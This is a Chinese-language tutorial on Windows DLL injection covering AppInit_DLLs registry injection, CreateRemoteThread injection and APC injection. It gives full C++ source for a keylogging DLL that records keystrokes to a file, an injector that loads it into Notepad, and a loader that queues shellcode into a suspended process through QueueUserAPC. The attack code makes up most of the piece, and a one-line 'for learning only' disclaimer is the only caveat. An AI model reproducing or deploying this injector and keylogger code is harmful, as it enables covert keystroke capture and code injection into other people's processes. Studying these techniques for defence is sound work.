三.通过APC实现DLL注入(动态)

三.通过APC实现DLL注入(动态)

0x01 Dll注入介绍DLL注入就是将一个DLL放进某个进程的地址空间里,让它成为那个进程的一部分,进而可以在注入的DLL中对所注入的进程做自定义的例程。

DLL注入从注入的技术方式上分为静态注入和动态注入。静态注入是通过系统本身的属性,或者静态就该可执行文件的二进制编码来完成。动态注入是通过运行时将特定的二进制编码写入到目标进程中,并引导进程执行所写入的代码来完成。

下面将介绍实现Dll注入的几种方式

一.通过修改注册表注入Dll(静态)原理:

这是利用系统的一个特性来完成DLL的静态注入。通过在注册表项中添加AppInit_Dlls键的值,可能会包含一个DLL的文件名或一组DLL的文件名(通过空格或逗号分隔),为了能让系统使用这个注册表项,我们还应该创建一个名为LoadAppInit_Dlls,类型为DWORD的注册表项,并将它的值设为1。当User.dll被映射到一个新的进程时,会收到DLL_PROCESS_ATTACH通知。当User.dll对它进行处理的时候,会取得上述注册表 键的值,并调用LoadLibrary来载入这个字符串中的指定的每个DLL。当系统载入每个DLL的时候,会调用它们的DllMain函数并将参数 fdwReason的值设为DLL_PROCESS_ATTACH,这样每个DLL就能够对自己进行初始化。

实操:

打开注册表项HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows。

新建名称为AppInit_DLLs 的字符串值,填入要注入的DLL的文件名或者完整路径。如果有多个DLL要注入,使用逗号来分隔。

再新建名称为LoadAppInit_DLLs的DWORD值,把值设置成1。

修改后的结果如下图所示:

这个注入方式依赖于User32.dll的初始化。在User32.dll初始化的时候,它会检查上述注册表值,如果LoadAppInit_DLLs的值不为0,就会依次对AppInit_DLLs中的DLL调用LoadLibraryEx,把它们加载到进程中。

二.通过远程线程实现DLL注入(动态)这里我们想将Dll注入至Notepad的进程中。DLL的作用是创建键盘钩子以实现对Notepad的输入监听。

包括以下步骤:

创建远程线程:首先,我们需要在目标进程中创建一个新的线程。我们可以使用 CreateRemoteThread函数来实现这一点。

分配内存:然后,我们需要在目标进程的地址空间中分配一些内存,用于存储我们要注入的DLL的路径。我们可以使用 VirtualAllocEx函数来实现这一点。

写入内存:接下来,我们需要将DLL的路径写入到刚刚分配的内存中。我们可以使用 WriteProcessMemory函数来实现这一点。

加载DLL:然后,我们需要在目标进程中加载我们的DLL。我们可以通过在远程线程中调用 LoadLibrary函数来实现这一点。

设置钩子:最后,我们需要设置一个钩子,以便在目标进程调用某个特定函数时,我们的DLL中的函数会被调用。我们可以使用 SetWindowsHookEx函数来实现这一点。

下面编写完整代码:

待注入的DLL文件:dllmain.cpp

// KeyLoggerDLL.cpp

#include

#include

HINSTANCE g_hInstance = NULL;

HHOOK g_hHook = NULL;

std::ofstream logFile("keylog.txt", std::ios_base::app);

__declspec(dllexport) LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode >= 0 && wParam == WM_KEYDOWN) {

KBDLLHOOKSTRUCT* pKeyBoard = (KBDLLHOOKSTRUCT*)lParam;

logFile << "Key pressed: " << pKeyBoard->vkCode << std::endl;

}

return CallNextHookEx(g_hHook, nCode, wParam, lParam);

} //定义一个键盘回调函数

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {

switch (ul_reason_for_call) {

case DLL_PROCESS_ATTACH:

g_hInstance = hModule;

break;

case DLL_PROCESS_DETACH:

if (g_hHook) {

UnhookWindowsHookEx(g_hHook);

}

break;

}

return TRUE;

} //dll主程序

extern "C" __declspec(dllexport) void SetHook() {

g_hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, g_hInstance, GetCurrentThreadId());

}

extern "C" __declspec(dllexport) void RemoveHook() {

if (g_hHook) {

UnhookWindowsHookEx(g_hHook);

}

}用于执行注入操作的EXE

// Injector.cpp

#include

#include

#include

DWORD GetNotepadThreadId() {

DWORD notepadThreadId = 0;

PROCESSENTRY32 pe32;

pe32.dwSize = sizeof(PROCESSENTRY32);

HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hProcessSnap == INVALID_HANDLE_VALUE) {

return 0;

}

if (Process32First(hProcessSnap, &pe32)) {

do {

if (strcmp(pe32.szExeFile, "notepad.exe") == 0) {

notepadThreadId = pe32.th32ProcessID;

break;

}

} while (Process32Next(hProcessSnap, &pe32));

}

CloseHandle(hProcessSnap);

return notepadThreadId;

}

int main() {

DWORD notepadThreadId = GetNotepadThreadId();

if (notepadThreadId == 0) {

std::cerr << "Notepad process not found." << std::endl;

return 1;

}

HANDLE hNotepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, notepadThreadId);

if (!hNotepad) {

std::cerr << "Failed to open Notepad process." << std::endl;

return 1;

}

char dllPath[MAX_PATH];

GetFullPathName("KeyLoggerDLL.dll", MAX_PATH, dllPath, NULL);

LPVOID pDllPath = VirtualAllocEx(hNotepad, NULL, strlen(dllPath) + 1, MEM_COMMIT, PAGE_READWRITE);

WriteProcessMemory(hNotepad, pDllPath, dllPath, strlen(dllPath) + 1, NULL);

LPVOID pLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");

HANDLE hThread = CreateRemoteThread(hNotepad, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pDllPath, 0, NULL);

WaitForSingleObject(hThread, INFINITE);

VirtualFreeEx(hNotepad, pDllPath, strlen(dllPath) + 1, MEM_RELEASE);

CloseHandle(hThread);

CloseHandle(hNotepad);

return 0;

}三.通过APC实现DLL注入(动态)介绍:APC名为异步过程调用,APC是一个链状的数据结构。APC可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

注入条件:

线程在进程内执行

线程会调用在APC队列中的函数

应用可以给特定线程的APC队列压入函数(有权限控制)

压入队列后,线程将按照顺序优先级执行(FIFO)

Alertable状态:要调用APC,线程必须是处于Alertable 状态。那怎么才能让线程处于这个状态呢?很简单,WaitForSingleObjectEx、SleepEx等且Alertable=TRUE,它就会变成“Alertable” 状态。执行此操作时,Windows 可能会在从这些函数返回之前将 APC 传送到该线程。这允许程序的开发人员控制可以在程序的哪些部分交付用户 APC。另一个可用于允许挂起 APC 执行的函数是 NtTestAlert。

注入流程:

1.OpenProcess打开进程,获得进程句柄

2.virtualloc申请内存空间

3.WriteProcessMemory向申请的内存空间写入要执行的Dll信息

4.获取进程对应的线程id再根据线程ID打开线程

5.在使用**queueUserAPC**插入执行

QueueUserAPC函数的第一个参数表示执行的函数地址,当开始执行该APC的时候,程序就会跳转到该函数地址执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数,即函数地址设置的是LoadLibraryA函数地址,第三个参数,即传递参数设置的是DLL的路径。那么,当执行APC的时候,便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。如果直接传入shellcode不设置第三个函数,可以直接执行shellcode。

DWORD QueueUserAPC(

[in] PAPCFUNC pfnAPC, //APC 注入方式

[in] HANDLE hThread,

[in] ULONG_PTR dwData

);源码如下:

#include

#include

#include

unsigned char shellcode[] = "x00/x00";

int main() {

LPCSTR lpApplication = "C:\\Windows\\System32\\notepad.exe"; //获取路径

STARTUPINFOA sInfo = { 0 };

PROCESS_INFORMATION pInfo = { 0 };

CreateProcessA(lpApplication, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &sInfo, &pInfo); //创建一个进程和其对应的线程

HANDLE hproc = pInfo.hProcess;

HANDLE hThread = pInfo.hThread;

LPVOID lpvShellAddress = VirtualAllocEx(hproc, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

PTHREAD_START_ROUTINE ptApcRoutine = (PTHREAD_START_ROUTINE)lpvShellAddress;

WriteProcessMemory(hproc,lpvShellAddress,shellcode,sizeof(shellcode),NULL);

QueueUserAPC((PAPCFUNC)ptApcRoutine, hThread, NULL);

ResumeThread(hThread);

return 0;

}注:以上内容仅用于学习。

相关画作

明清战争
如何下载365app软件

明清战争

📅 08-03 👁️ 1913
广告法如何回应新技术?
如何下载365app软件

广告法如何回应新技术?

📅 08-17 👁️ 6036
不粘煎锅
365足球

不粘煎锅

📅 08-31 👁️ 3576